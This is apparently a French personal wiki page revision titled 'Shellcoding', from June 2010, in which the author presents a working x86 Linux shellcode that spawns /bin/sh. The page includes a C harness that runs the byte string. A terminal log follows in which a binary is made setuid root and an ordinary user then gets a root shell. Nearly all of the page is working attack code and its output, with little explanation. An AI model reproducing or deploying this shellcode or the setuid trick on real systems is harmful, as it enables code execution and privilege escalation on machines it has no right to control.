« Hiteck » : différence entre les versions
Aucun résumé des modifications |
Aucun résumé des modifications |
||
Ligne 2 : | Ligne 2 : | ||
<p> | <p> | ||
<b><u>Vendredi 18 juin 2010 :</u></b><br /> | <b><u>Vendredi 18 juin 2010 :</u></b><br /> | ||
Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D<br /><br /> | Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D<br /><br /> |
Version du 18 juin 2010 à 13:36
Shellcoding
Vendredi 18 juin 2010 :
Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
(*(void(*)()) shellcode)();
}
Encore un petit exemple :D
root@hiteck:/home/hiteck/Bureau/exploits# chown root.root shell1
root@hiteck:/home/hiteck/Bureau/exploits# chmod +s shell1
root@hiteck:/home/hiteck/Bureau/exploits# ls -l shell1
-rwsr-sr-x 1 root root 8317 2010-06-17 23:47 shell1
root@hiteck:/home/hiteck/Bureau/exploits# exit
exit
hiteck@hiteck:~/Bureau/exploits$ ./shell1
$# whoami
root
$# echo "Local shellcode remote :-D"
Local shellcode remote :-D
$# exit
hiteck@hiteck:~/Bureau/exploits$
A la prochaine :-D